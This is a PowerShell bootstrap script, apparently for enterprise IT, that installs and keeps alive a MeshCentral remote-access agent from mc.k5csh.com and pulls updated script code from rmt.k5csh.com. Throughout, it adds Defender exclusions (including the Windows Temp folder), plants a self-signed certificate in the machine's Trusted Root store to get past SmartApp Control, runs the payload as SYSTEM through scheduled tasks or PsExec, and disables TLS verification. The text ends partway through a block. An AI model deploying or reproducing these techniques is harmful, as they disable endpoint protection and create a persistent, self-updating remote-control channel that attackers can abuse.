# Adaptive, Self-Healing MeshAgent & Sync Engine (Enterprise Multi-OS)
# Escaped '$' tokens ensure raw MeshID parameters remain accurate when served by Workers
$meshUrl = 'https://mc.k5csh.com/meshagents?id=4&meshid=Wml4qVGdvRgcJJPFHSmUt8dn5fEHFdXqMh$OfHIEEuO3Z$H6cD9ewsVurLg06tni&installflags=0'
$msiUrl = '' # Optional: Set MSI URL here if revisited later
$bootstrapUrl = 'https://rmt.k5csh.com'
# Mode Control Switch (Overwritten by Worker on ?uninstall=1)
$uninstall = $false
# ==============================================================
# --- CONFIGURATION MASTER ENGINE ---
# ==============================================================
# Identity & Service Naming
$agentName = "c3-it-agent"
$taskName = "Agent-BootstrapSync"
$workDir = "C:\ProgramData\MeshAgentBootstrap"
$agentDir = "C:\Program Files\c3-it-agent"
$regKeyPath = "HKLM:\SOFTWARE\MeshAgentBootstrap"
# Execution & Network Reliability
$maxDownloadRetries = 3
$downloadRetryDelay = 3
$quietMode = $false # Set to $true for silent execution
$verboseMode = $true # Set to $true to display stage commands & execution progress
# Task Scheduler Execution Controls
$triggerEventID = 4624 # 4624 = User Logon Event (Workstations)
$retryInterval = "PT5M" # ISO 8601 string (5 Minute Retry Window)
$retryCount = 3 # Retry attempts on task failure
$executionTimeout = "PT1H" # ISO 8601 string (Max task execution runtime)
# Logging & Auditing
$enableLogging = $true
$logFilePath = Join-Path $workDir "bootstrap_sync.log"
# Derived System Paths
$localScriptPath = Join-Path $workDir "sync.ps1"
$backupScriptPath = Join-Path $workDir "sync.ps1.bak"
$tempScriptPath = Join-Path $workDir "sync.tmp.ps1"
$tempInstallerPath = Join-Path $env:SystemRoot "Temp\meshagent_installer.exe"
$workInstallerPath = Join-Path $workDir "meshagent_installer.exe"
$workMsiPath = Join-Path $workDir "meshagent_installer.msi"
$msiLogPath = Join-Path $workDir "msi_install.log"
$tempXmlPath = Join-Path $env:SystemRoot "Temp\task_def.xml"
# ==============================================================
# --- HELPER FUNCTIONS & LOGGING ---
# ==============================================================
function Write-BootstrapLog ([string]$message, [string]$color = "White", [bool]$isVerboseOnly = $false) {
if ($isVerboseOnly -and -not $verboseMode) { return }
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$formattedMsg = "[$timestamp] $message"
if (-not $quietMode) {
Write-Host $message -ForegroundColor $color
}
if ($enableLogging -and (Test-Path $workDir)) {
Add-Content -Path $logFilePath -Value $formattedMsg -ErrorAction SilentlyContinue
}
}
# --- MODULE A: OS ENVIRONMENT PROBING ---
function Get-SystemEnvironmentProfile {
Write-BootstrapLog "[STAGE: OS_PROBE] Querying system architecture and SKU details..." "DarkGray" $true
$arch = $env:PROCESSOR_ARCHITECTURE
if ($env:PROCESSOR_ARCHITEW6432) { $arch = $env:PROCESSOR_ARCHITEW6432 }
$osInfo = Get-CimInstance -ClassName Win32_OperatingSystem -ErrorAction SilentlyContinue
$isServer = if ($osInfo) { $osInfo.ProductType -ne 1 } else { $false }
$agentArch = switch -Regex ($arch) {
'ARM64' { 'arm64' }
'64' { 'x86-64' }
default { 'x86' }
}
return @{
Architecture = $agentArch
IsServer = $isServer
OSVersion = if ($osInfo) { $osInfo.Version } else { "10.0" }
Caption = if ($osInfo) { $osInfo.Caption } else { "Windows OS" }
}
}
# --- MODULE B: MULTI-TIER UNIVERSAL DOWNLOAD ENGINE ---
function Invoke-AdaptiveDownload ([string]$url, [string]$destinationPath) {
Write-BootstrapLog ("[STAGE: NET_DOWNLOAD] Target URL: " + $url + " -> Path: " + $destinationPath) "DarkGray" $true
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13
# Tier 1: WebClient with Default System Proxy Inheritance
$attempt = 0
while ($attempt -lt $maxDownloadRetries) {
$attempt++
try {
Write-BootstrapLog ("[STAGE: NET_TIER1] Invoking WebClient (Attempt " + $attempt + " of " + $maxDownloadRetries + ")...") "DarkGray" $true
$wc = New-Object Net.WebClient
$wc.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
$wc.DownloadFile($url, $destinationPath)
if (Test-Path $destinationPath) {
Write-BootstrapLog "[STAGE: NET_TIER1] Download verified successfully." "DarkGreen" $true
return $true
}
} catch {
Write-BootstrapLog "Tier 1 WebClient download attempt $attempt failed: $($_.Exception.Message)" "Yellow"
if ($attempt -lt $maxDownloadRetries) { Start-Sleep -Seconds $downloadRetryDelay }
}
}
# Tier 2: Native System32 Curl Engine
$curlPath = Join-Path $env:SystemRoot "System32\curl.exe"
if (Test-Path $curlPath) {
try {
Write-BootstrapLog ("[STAGE: NET_TIER2] Executing curl: " + $curlPath) "DarkGray" $true
& $curlPath -sSL -k "$url" -o "$destinationPath"
if (Test-Path $destinationPath) {
Write-BootstrapLog "[STAGE: NET_TIER2] Curl download verified successfully." "DarkGreen" $true
return $true
}
} catch {
Write-BootstrapLog "Tier 2 Curl engine failed: $($_.Exception.Message)" "Yellow"
}
}
# Tier 3: Background Intelligent Transfer Service (BITS)
try {
Write-BootstrapLog "[STAGE: NET_TIER3] Invoking BitsTransfer module..." "DarkGray" $true
Import-Module BitsTransfer -ErrorAction SilentlyContinue
Start-BitsTransfer -Source $url -Destination $destinationPath -ErrorAction Stop
if (Test-Path $destinationPath) {
Write-BootstrapLog "[STAGE: NET_TIER3] BITS transfer verified successfully." "DarkGreen" $true
return $true
}
} catch {
Write-BootstrapLog "Tier 3 BITS engine failed: $($_.Exception.Message)" "Yellow"
}
return $false
}
# --- MODULE C: ON-DEMAND SYSINTERNALS PROVISIONING ENGINE ---
function Invoke-SysinternalsTool ([string]$toolName, [string]$arguments = "") {
Write-BootstrapLog ("[STAGE: SYSINTERNALS] Provisioning requested tool: " + $toolName) "DarkGray" $true
$sysinternalsBaseUrl = "https://live.sysinternals.com/"
$toolExe = if ($toolName.EndsWith(".exe")) { $toolName } else { "$toolName.exe" }
$toolLocalPath = Join-Path $env:SystemRoot ("Temp\" + $toolExe)
# Auto-accept EULA via Registry pre-execution
$cleanToolName = $toolExe -replace '.exe$', ''
$eulaRegPath = "HKCU:\Software\Sysinternals\" + $cleanToolName
Write-BootstrapLog ("[STAGE: SYSINTERNALS] Pre-configuring registry EULA at " + $eulaRegPath) "DarkGray" $true
if (-not (Test-Path $eulaRegPath)) {
New-Item -Path $eulaRegPath -Force | Out-Null
}
Set-ItemProperty -Path $eulaRegPath -Name "EulaAccepted" -Value 1 -Type DWord -Force | Out-Null
# Download tool on-demand if absent
if (-not (Test-Path $toolLocalPath)) {
Write-BootstrapLog ("On-demand provisioning Sysinternals utility: " + $toolExe) "Cyan"
$downloadUrl = $sysinternalsBaseUrl + $toolExe
$downloaded = Invoke-AdaptiveDownload $downloadUrl $toolLocalPath
if (-not $downloaded) {
Write-BootstrapLog ("Failed to retrieve Sysinternals utility " + $toolExe + " from Live mirror.") "Red"
return $null
}
Unblock-File -Path $toolLocalPath -ErrorAction SilentlyContinue
}
# Execute tool and return output handle
Write-BootstrapLog ("[STAGE: SYSINTERNALS_EXEC] Command: " + $toolLocalPath + " " + $arguments) "Yellow"
try {
$p = Start-Process -FilePath $toolLocalPath -ArgumentList $arguments -PassThru -Wait -NoNewWindow
return $p.ExitCode
} catch {
Write-BootstrapLog "Sysinternals execution failed: $($_.Exception.Message)" "Red"
return -1
}
}
# --- MODULE D: ADAPTIVE ANTIVIRUS & DEFENDER ENGINE ---
function Set-AdaptiveAntivirusExclusions ([string]$action = "Add") {
Write-BootstrapLog "[STAGE: DEFENDER_AUDIT] Checking WinDefend service status..." "DarkGray" $true
$defenderService = Get-Service -Name "WinDefend" -ErrorAction SilentlyContinue
if ($defenderService -and $defenderService.Status -eq 'Running') {
try {
if ($action -eq "Add") {
Write-BootstrapLog "[STAGE: DEFENDER_ADD] Registering exclusions for work and agent paths..." "DarkGray" $true
Add-MpPreference -ExclusionPath $workDir -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $agentDir -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (Join-Path $env:SystemRoot "Temp") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "$agentName.exe" -ErrorAction SilentlyContinue
} else {
Write-BootstrapLog "[STAGE: DEFENDER_REMOVE] Purging exclusions..." "DarkGray" $true
Remove-MpPreference -ExclusionPath $workDir -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionPath $agentDir -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionProcess "$agentName.exe" -ErrorAction SilentlyContinue
}
} catch {
Write-BootstrapLog "Defender preference modification managed by external GPO/EDR policy." "Yellow"
}
} else {
Write-BootstrapLog "WinDefend service inactive or third-party EDR present. Skipping MpPreference adjustment." "Cyan"
}
}
# --- MODULE E: RESILIENT SCHEDULED TASK QUERY (CIM FALLBACK TO SCHTASKS) ---
function Get-ResilientScheduledTask ([string]$tn) {
Write-BootstrapLog ("[STAGE: TASK_QUERY] Querying scheduled task " + $tn + " via CIM...") "DarkGray" $true
# Method 1: Standard CIM/WMI Cmdlet
try {
$task = Get-ScheduledTask -TaskName $tn -ErrorAction Stop
if ($task) {
$execAction = $task.Actions | Where-Object { $_.Execute -match 'powershell' }
Write-BootstrapLog "[STAGE: TASK_QUERY_CIM] Task found." "DarkGray" $true
return @{ Exists = $true; Arguments = $execAction.Arguments }
}
} catch {
Write-BootstrapLog "CIM Session broken or restricted. Dynamically falling back to schtasks.exe..." "Yellow"
}
# Method 2: Dynamic Native schtasks.exe Query Fallback
try {
Write-BootstrapLog "[STAGE: TASK_QUERY_FALLBACK] Executing schtasks query..." "DarkGray" $true
$queryOutput = & schtasks.exe /query /tn "$tn" /fo CSV /v 2>$null | ConvertFrom-Csv 2>$null
if ($queryOutput) {
$taskCmd = $queryOutput.'Task To Run'
if (-not $taskCmd) { $taskCmd = $queryOutput.'Command' }
Write-BootstrapLog "[STAGE: TASK_QUERY_SCHTASKS] Task found via schtasks." "DarkGray" $true
return @{ Exists = $true; Arguments = $taskCmd }
}
} catch {}
if ($LASTEXITCODE -eq 0) {
return @{ Exists = $true; Arguments = "SCHTASKS_EXISTS" }
}
Write-BootstrapLog ("[STAGE: TASK_QUERY] Task " + $tn + " does not exist.") "DarkGray" $true
return @{ Exists = $false; Arguments = $null }
}
# --- MODULE F: DYNAMIC CODE SIGNING ENGINE (SMARTAPP CONTROL BYPASS) ---
function Invoke-SelfSignedExecution ([string]$binaryPath) {
if (-not (Test-Path $binaryPath)) { return $false }
try {
Write-BootstrapLog "[STAGE: CODE_SIGN] Generating temporary local Code Signing Certificate..." "Cyan"
# 1. Check for existing local signer or generate a fresh self-signed cert
$cert = Get-ChildItem Cert:LocalMachineMy | Where-Object { $_.Subject -match "CN=LocalAgentBootstrapSigner" } | Select-Object -First 1
if (-not $cert) {
$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=LocalAgentBootstrapSigner" -CertStoreLocation "Cert:LocalMachineMy" -ErrorAction Stop
}
if ($cert) {
Write-BootstrapLog "[STAGE: CODE_SIGN] Importing certificate into Trusted Root & Trusted Publisher stores..." "DarkGray" $true
# Import to LocalMachine Root
$rootStore = New-Object System.Security.Cryptography.X509Certificates.X509Store("Root", "LocalMachine")
$rootStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$rootStore.Add($cert)
$rootStore.Close()
# Import to LocalMachine TrustedPublisher
$pubStore = New-Object System.Security.Cryptography.X509Certificates.X509Store("TrustedPublisher", "LocalMachine")
$pubStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$pubStore.Add($cert)
$pubStore.Close()
# 2. Sign the binary natively
Write-BootstrapLog ("[STAGE: CODE_SIGN] Digitally signing binary: " + $binaryPath) "Yellow"
$signResult = Set-AuthenticodeSignature -FilePath $binaryPath -Certificate $cert -ErrorAction Stop
Write-BootstrapLog ("[STAGE: CODE_SIGN] Signature Status: " + $signResult.Status) "DarkGreen" $true
# 3. Execute signed binary
Write-BootstrapLog "[STAGE: CODE_SIGN_EXEC] Executing signed binary..." "Green"
$p = Start-Process -FilePath $binaryPath -ArgumentList "-fullinstall" -PassThru -Wait -ErrorAction Stop
Start-Sleep -Seconds 4
$checkSvc = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like "*$agentName*" -or $_.DisplayName -like "*$agentName*" }
if ($checkSvc -and $checkSvc.State -eq 'Running') {
Write-BootstrapLog "[STAGE: CODE_SIGN_EXEC] Service verified active after signed execution." "DarkGreen" $true
return $true
}
}
} catch {
Write-BootstrapLog ("Auto-signing stage failed: " + $_.Exception.Message) "Yellow"
}
return $false
}
# --- MODULE G: ADAPTIVE INSTALLER EXECUTION ENGINE ---
function Invoke-AdaptiveInstallerExecution ([string]$primaryPath, [string]$fallbackPath) {
$activePath = $primaryPath
if (-not (Test-Path $activePath) -and (Test-Path $fallbackPath)) { $activePath = $fallbackPath }
# Attempt 1: Direct Binary Execution from Temp
try {
Write-BootstrapLog ("[STAGE: INSTALL_EXEC_PRIMARY] Direct invocation: " + $activePath + " -fullinstall") "Green"
$p = Start-Process -FilePath $activePath -ArgumentList "-fullinstall" -PassThru -Wait -ErrorAction Stop
Write-BootstrapLog ("[STAGE: INSTALL_EXEC_PRIMARY] Exit code: " + $p.ExitCode) "DarkGray" $true
if ($p.ExitCode -eq 0) { return $true }
} catch {
Write-BootstrapLog "Direct execution blocked by SmartApp Control / SRP." "Yellow"
}
# Relocate binary to working directory
if ($activePath -ne $fallbackPath -and (Test-Path $primaryPath)) {
try {
Write-BootstrapLog ("[STAGE: INSTALL_EXEC_RELOCATE] Copying installer to " + $fallbackPath) "Cyan"
Copy-Item -Path $primaryPath -Destination $fallbackPath -Force
Unblock-File -Path $fallbackPath -ErrorAction SilentlyContinue
$activePath = $fallbackPath
} catch {}
}
# Attempt 2: Auto-Sign Payload with Local Cert (Bypasses SmartApp Control)
$signedSuccess = Invoke-SelfSignedExecution $activePath
if ($signedSuccess) { return $true }
# Attempt 3: One-Time SYSTEM Scheduled Task Bridge
try {
Write-BootstrapLog "[STAGE: INSTALL_EXEC_SCHTASKS] Engaging Task Scheduler SYSTEM execution bridge..." "Cyan"
$tmpTaskName = "MeshInstallTaskBridge"
& schtasks.exe /delete /tn $tmpTaskName /f 2>&1 | Out-Null
$taskCmd = '"' + $activePath + '" -fullinstall'
Write-BootstrapLog ("[STAGE: INSTALL_EXEC_SCHTASKS] Registering SYSTEM task: " + $taskCmd) "DarkGray" $true
& schtasks.exe /create /tn $tmpTaskName /tr $taskCmd /sc ONCE /st "00:00" /ru "NT AUTHORITYSYSTEM" /rl HIGHEST /f 2>&1 | Out-Null
& schtasks.exe /run /tn $tmpTaskName 2>&1 | Out-Null
Start-Sleep -Seconds 6
& schtasks.exe /delete /tn $tmpTaskName /f 2>&1 | Out-Null
$checkSvc = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like "*$agentName*" -or $_.DisplayName -like "*$agentName*" }
if ($checkSvc -and $checkSvc.State -eq 'Running') {
Write-BootstrapLog "[STAGE: INSTALL_EXEC_SCHTASKS] Service verified active via Task Scheduler bridge." "DarkGreen" $true
return $true
}
} catch {
Write-BootstrapLog "Task Scheduler execution bridge failed: $($_.Exception.Message)" "Yellow"
}
# Attempt 4: Sysinternals PsExec Local Loopback Bridge
try {
Write-BootstrapLog "[STAGE: INSTALL_EXEC_PSEXEC] Provisioning Sysinternals PsExec loopback..." "Cyan"
$psexecArgs = '-s -accepteula "' + $activePath + '" -fullinstall'
$psexecCode = Invoke-SysinternalsTool "psexec" $psexecArgs
Start-Sleep -Seconds 4
$checkSvc = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like "*$agentName*" -or $_.DisplayName -like "*$agentName*" }
if ($checkSvc -and $checkSvc.State -eq 'Running') {
Write-BootstrapLog "[STAGE: INSTALL_EXEC_PSEXEC] Service verified active via PsExec bridge." "DarkGreen" $true
return $true
}
} catch {
Write-BootstrapLog "PsExec loopback bridge failed: $($_.Exception.Message)" "Yellow"
}
return $false
}
function Get-TextHash([string]$text) {
if ([string]::IsNullOrWhiteSpace($text)) { return "" }
$cleaned = $text.Trim() -replace '
', ''
$bytes = [System.Text.Encoding]::UTF8.GetBytes($cleaned)
$algorithm = [System.Security.Cryptography.SHA256]::Create()
$hashBytes = $algorithm.ComputeHash($bytes)
return [System.BitConverter]::ToString($hashBytes) -replace '-'
}
function Restore-PreviousKnownGood {
Write-BootstrapLog "CRITICAL: Transaction failed. Initiating automated rollback sequence..." "Red"
if (Test-Path $backupScriptPath) {
Write-BootstrapLog "[STAGE: ROLLBACK] Restoring backup script..." "DarkGray" $true
Copy-Item -Path $backupScriptPath -Destination $localScriptPath -Force
Write-BootstrapLog "Restored sync.ps1 from backup snapshot." "Green"
}
}
# ===============================
# --- 1. HARD ELEVATION GUARD ---
# ===============================
Write-BootstrapLog "[STAGE: INIT] Checking process administrative permissions..." "DarkGray" $true
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
Write-BootstrapLog "Admin privileges required. Relaunching elevated..." "Yellow"
$tempBoot = Join-Path $env:TEMP "mesh_boot.ps1"
try {
$execUrl = if ($uninstall) { "$bootstrapUrl?uninstall=1" } else { $bootstrapUrl }
Write-BootstrapLog "[STAGE: ELEVATE] Fetching wrapper script..." "DarkGray" $true
$downloaded = Invoke-AdaptiveDownload $execUrl $tempBoot
if ($downloaded) {
Unblock-File -Path $tempBoot -ErrorAction SilentlyContinue
Write-BootstrapLog "[STAGE: ELEVATE] Invoking elevated process..." "DarkGray" $true
$proc = Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File '$tempBoot'" -Verb RunAs -PassThru -Wait
}
} catch {
Write-BootstrapLog "Elevation request failed or was cancelled by user." "Red"
} finally {
Remove-Item -Path $tempBoot -Force -ErrorAction SilentlyContinue
}
return
}
# Probe System Architecture and Profile
$sysProfile = Get-SystemEnvironmentProfile
Write-BootstrapLog "Host OS: $($sysProfile.Caption) | Arch: $($sysProfile.Architecture) | IsServer: $($sysProfile.IsServer)" "Cyan"
# ==============================================================
# --- UNINSTALL / TEARDOWN ENGINE ---
# ==============================================================
if ($uninstall) {
Write-BootstrapLog "=====================================================" "Red"
Write-BootstrapLog "INITIATING COMPLETE TEARDOWN OF MESHAGENT FRAMEWORK" "Red"
Write-BootstrapLog "=====================================================" "Red"
# 1. Unregister Scheduled Tasks
Write-BootstrapLog "[STAGE: TEARDOWN_TASKS] Querying registered task names from registry state..." "DarkGray" $true
$storedTask = (Get-ItemProperty -Path $regKeyPath -Name "TaskName" -ErrorAction SilentlyContinue).TaskName
$tasksToPurge = @($taskName, $storedTask) | Select-Object -Unique
foreach ($t in $tasksToPurge) {
if (-not [string]::IsNullOrWhiteSpace($t)) {
Write-BootstrapLog ("Removing Scheduled Task: " + $t) "Yellow"
& schtasks.exe /delete /tn "$t" /f 2>&1 | Out-Null
}
}
# 2. Uninstall & Purge MeshAgent Services and Binaries
Write-BootstrapLog "Auditing and purging agent services and binaries..." "Yellow"
$allAgentServices = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object {
$_.PathName -like "*MeshAgent*" -or $_.PathName -like "*$agentName*" -or $_.DisplayName -like "*Mesh Agent*" -or $_.DisplayName -like "*$agentName*"
}
foreach ($service in $allAgentServices) {
$exePath = $null
if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') {
$exePath = if ($Matches[1]) { $Matches[1] } else { $Matches[2] }
}
if ($exePath -and (Test-Path $exePath)) {
Write-BootstrapLog ("Executing full uninstall command for: " + $exePath) "Yellow"
Start-Process $exePath -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
Write-BootstrapLog ("[STAGE: TEARDOWN_SVC] Stopping service " + $service.Name) "DarkGray" $true
Stop-Service -Name $service.Name -Force -ErrorAction SilentlyContinue
# Fallback: Use Sysinternals PsKill if service remains unresponsive
if ((Get-Service -Name $service.Name -ErrorAction SilentlyContinue).Status -eq 'Running') {
Write-BootstrapLog "Service lingering. Engaging Sysinternals PsKill fallback..." "Yellow"
$pskillArgs = '-t -accepteula ' + $service.Name
Invoke-SysinternalsTool "pskill" $pskillArgs
}
}
# 3. Clean Up Defender Exclusions
Set-AdaptiveAntivirusExclusions "Remove"
# 4. Purge All Known Temporary Files & Sysinternals Artifacts
Write-BootstrapLog "Purging temporary installer, script, and Sysinternals artifacts..." "Yellow"
$tempArtifacts = @(
$tempInstallerPath,
$workInstallerPath,
$workMsiPath,
$msiLogPath,
$tempXmlPath,
(Join-Path $env:TEMP "mesh_boot.ps1"),
(Join-Path $env:TEMP "meshagent_installer.exe"),
(Join-Path $env:SystemRoot "Temp\pskill.exe"),
(Join-Path $env:SystemRoot "Temp\psexec.exe"),
(Join-Path $env:SystemRoot "Temp\handle.exe")
)
foreach ($artifact in $tempArtifacts) {
if (Test-Path $artifact) {
Write-BootstrapLog ("[STAGE: TEARDOWN_PURGE] Removing artifact: " + $artifact) "DarkGray" $true
Remove-Item -Path $artifact -Force -ErrorAction SilentlyContinue
}
}
# 5. Remove Registry Key Tracking
if (Test-Path $regKeyPath) {
Write-BootstrapLog ("Removing registry state key " + $regKeyPath) "Yellow"
Remove-Item -Path $regKeyPath -Recurse -Force -ErrorAction SilentlyContinue
}
# 6. Release Folder Lock & Self-Destruct Working Directory
if (Test-Path $workDir) {
Write-BootstrapLog ("Scheduling self-destruct wipe for " + $workDir) "Yellow"
Set-Location -Path "$env:SystemRoot\Temp" -ErrorAction SilentlyContinue
$cmdArgs = '/c timeout /t 2 /nobreak >NUL & rmdir /s /q "' + $workDir + '"'
Write-BootstrapLog "[STAGE: TEARDOWN_SELF_DESTRUCT] Launching detached cmd self-destruct process..." "DarkGray" $true
Start-Process cmd.exe -ArgumentList $cmdArgs -WindowStyle Hidden
}
Write-BootstrapLog "Teardown sequence complete. Working folder self-destructing in 2 seconds." "Green"
return
}
# ==============================================================
# --- NORMAL DEPLOYMENT & SYNC ENGINE ---
# ==============================================================
if (-not (Test-Path $workDir)) {
Write-BootstrapLog ("[STAGE: INIT_FS] Creating working directory " + $workDir) "DarkGray" $true
New-Item -Path $workDir -ItemType Directory -Force | Out-Null
}
if (-not (Test-Path $regKeyPath)) {
Write-BootstrapLog ("[STAGE: INIT_REG] Creating registry path " + $regKeyPath) "DarkGray" $true
New-Item -Path $regKeyPath -Force | Out-Null
}
# Pre-stage Defender Exclusions dynamically
Set-AdaptiveAntivirusExclusions "Add"
# Read Stored Execution State from Registry
$storedTaskName = (Get-ItemProperty -Path $regKeyPath -Name "TaskName" -ErrorAction SilentlyContinue).TaskName
$storedAgentName = (Get-ItemProperty -Path $regKeyPath -Name "AgentName" -ErrorAction SilentlyContinue).AgentName
$storedMeshID = (Get-ItemProperty -Path $regKeyPath -Name "CurrentMeshID" -ErrorAction SilentlyContinue).CurrentMeshID
Write-BootstrapLog ("[STAGE: REG_STATE] Stored Task: " + $storedTaskName + " | Agent: " + $storedAgentName + " | MeshID: " + $storedMeshID) "DarkGray" $true
# --- 2. TRANSACTIONAL AUTO-REWRITE & ROLLBACK ENGINE ---
try {
$utf8NoBom = New-Object System.Text.UTF8Encoding($false)
$tempRemotePath = Join-Path $env:SystemRoot "Temp\remote_sync.tmp"
Write-BootstrapLog "[STAGE: SYNC_FETCH] Downloading latest worker code snapshot..." "DarkGray" $true
$downloaded = Invoke-AdaptiveDownload $bootstrapUrl $tempRemotePath
if ($downloaded -and (Test-Path $tempRemotePath)) {
$remoteCode = [System.IO.File]::ReadAllText($tempRemotePath, [System.Text.Encoding]::UTF8)
Remove-Item -Path $tempRemotePath -Force -ErrorAction SilentlyContinue
if (-not [string]::IsNullOrWhiteSpace($remoteCode)) {
if (-not (Test-Path $localScriptPath)) {
Write-BootstrapLog ("Local sync script missing (" + $localScriptPath + "). Writing fresh payload...") "Yellow"
[System.IO.File]::WriteAllText($localScriptPath, $remoteCode, $utf8NoBom)
[System.IO.File]::WriteAllText($backupScriptPath, $remoteCode, $utf8NoBom)
Unblock-File -Path $localScriptPath -ErrorAction SilentlyContinue
} else {
$localCode = [System.IO.File]::ReadAllText($localScriptPath, [System.Text.Encoding]::UTF8)
$localHash = Get-TextHash $localCode
$remoteHash = Get-TextHash $remoteCode
Write-BootstrapLog ("[STAGE: SYNC_HASH] Local SHA256: " + $localHash + " | Remote SHA256: " + $remoteHash) "DarkGray" $true
if ($localHash -ne $remoteHash) {
Write-BootstrapLog "Worker configuration drift detected (SHA256 mismatch). Updating local script..." "Yellow"
Copy-Item -Path $localScriptPath -Destination $backupScriptPath -Force
[System.IO.File]::WriteAllText($localScriptPath, $remoteCode, $utf8NoBom)
Unblock-File -Path $localScriptPath -ErrorAction SilentlyContinue
}
}
}
}
} catch {
Write-BootstrapLog "Failed to reach Cloudflare Worker at $bootstrapUrl. Falling back to cached local engine..." "Yellow"
}
# --- 3. TARGET MESHID EXTRACTION ---
$targetMeshID = $null
if ($meshUrl -match 'meshid=([^&]+)') {
$targetMeshID = $Matches[1].Trim()
}
Write-BootstrapLog ("[STAGE: MESH_PARSER] Extracted target MeshID parameter: " + $targetMeshID) "DarkGray" $true
# --- 4. DYNAMIC SERVICE AUDIT, PRUNING & SCRUBBING ENGINE ---
Write-BootstrapLog ("Auditing system services for instance: " + $agentName) "Cyan"
$allAgentServices = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object {
$_.PathName -like "*MeshAgent*" -or $_.PathName -like "*$agentName*" -or $_.DisplayName -like "*Mesh Agent*" -or $_.DisplayName -like "*$agentName*"
}
$currentTargetService = $null
$currentTargetExe = $null
foreach ($service in $allAgentServices) {
if ($service.Name -like "*$agentName*" -or $service.DisplayName -like "*$agentName*" -or $service.PathName -like "*$agentName*") {
$currentTargetService = $service
if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') {
$currentTargetExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] }
}
} else {
Write-BootstrapLog ("Legacy or mismatched agent service found (" + $service.DisplayName + "). Purging...") "Yellow"
$oldExe = $null
if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') {
$oldExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] }
}
if ($oldExe -and (Test-Path $oldExe)) {
Write-BootstrapLog ("[STAGE: SERVICE_PURGE] Executing: " + $oldExe + " -fulluninstall") "DarkGray" $true
Start-Process $oldExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
Stop-Service -Name $service.Name -Force -ErrorAction SilentlyContinue
}
}
# --- 5. INSTALLATION STATE VERIFICATION WITH ROLLBACK SAFETY ---
$needsInstall = $false
if (-not $currentTargetExe -or -not (Test-Path $currentTargetExe)) {
Write-BootstrapLog "Target agent binary missing. Triggering deployment..." "Yellow"
$needsInstall = $true
} elseif (-not $currentTargetService -or $currentTargetService.State -ne 'Running') {
Write-BootstrapLog "Target agent service stopped or missing. Repairing service..." "Yellow"
$needsInstall = $true
} elseif ([string]::IsNullOrWhiteSpace($storedMeshID) -or $storedMeshID -ne $targetMeshID) {
Write-BootstrapLog ("MeshID parameter change detected (Stored: " + $storedMeshID + " | Target: " + $targetMeshID + "). Re-deploying...") "Yellow"
$needsInstall = $true
} elseif ($storedAgentName -and $storedAgentName -ne $agentName) {
Write-BootstrapLog ("Agent name updated (Stored: " + $storedAgentName + " | Target: " + $agentName + "). Re-aligning binary...") "Yellow"
$needsInstall = $true
}
if ($needsInstall) {
try {
Write-BootstrapLog ("Deploying target agent instance " + $agentName + "...") "Cyan"
if ($currentTargetExe -and (Test-Path $currentTargetExe)) {
Write-BootstrapLog ("[STAGE: PRE_INSTALL_PURGE] Uninstalling existing binary: " + $currentTargetExe) "DarkGray" $true
Start-Process $currentTargetExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
if ($currentTargetService) {
Write-BootstrapLog ("[STAGE: PRE_INSTALL_STOP] Stopping active service: " + $currentTargetService.Name) "DarkGray" $true
Stop-Service -Name $currentTargetService.Name -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 1
}
Write-BootstrapLog "Downloading EXE installer payload via multi-tier adaptive engine..." "Cyan"
$downloadSuccess = Invoke-AdaptiveDownload $meshUrl $tempInstallerPath
if (-not $downloadSuccess -or -not (Test-Path $tempInstallerPath)) {
throw "Failed to download agent installer across all adaptive download tiers."
}
Unblock-File -Path $tempInstallerPath -ErrorAction SilentlyContinue
# Adaptive Installer Execution (Includes Self-Signing Engine)
$installSuccess = Invoke-AdaptiveInstallerExecution -primaryPath $tempInstallerPath -fallbackPath $workInstallerPath
if (-not $installSuccess) {
throw "Agent installation cycle failed across all execution paths."
}
Write-BootstrapLog "[STAGE: STATE_UPDATE] Writing updated registry state parameters..." "DarkGray" $true
Set-ItemProperty -Path $regKeyPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null
Set-ItemProperty -Path $regKeyPath -Name "AgentName" -Value "$agentName" -Type String -Force | Out-Null
Write-BootstrapLog "Agent deployment cycle finished successfully." "Green"
} catch {
Write-BootstrapLog "Deployment failed: $($_.Exception.Message)" "Red"
Restore-PreviousKnownGood
} finally {
if (Test-Path $tempInstallerPath) { Remove-Item -Path $tempInstallerPath -Force -ErrorAction SilentlyContinue }
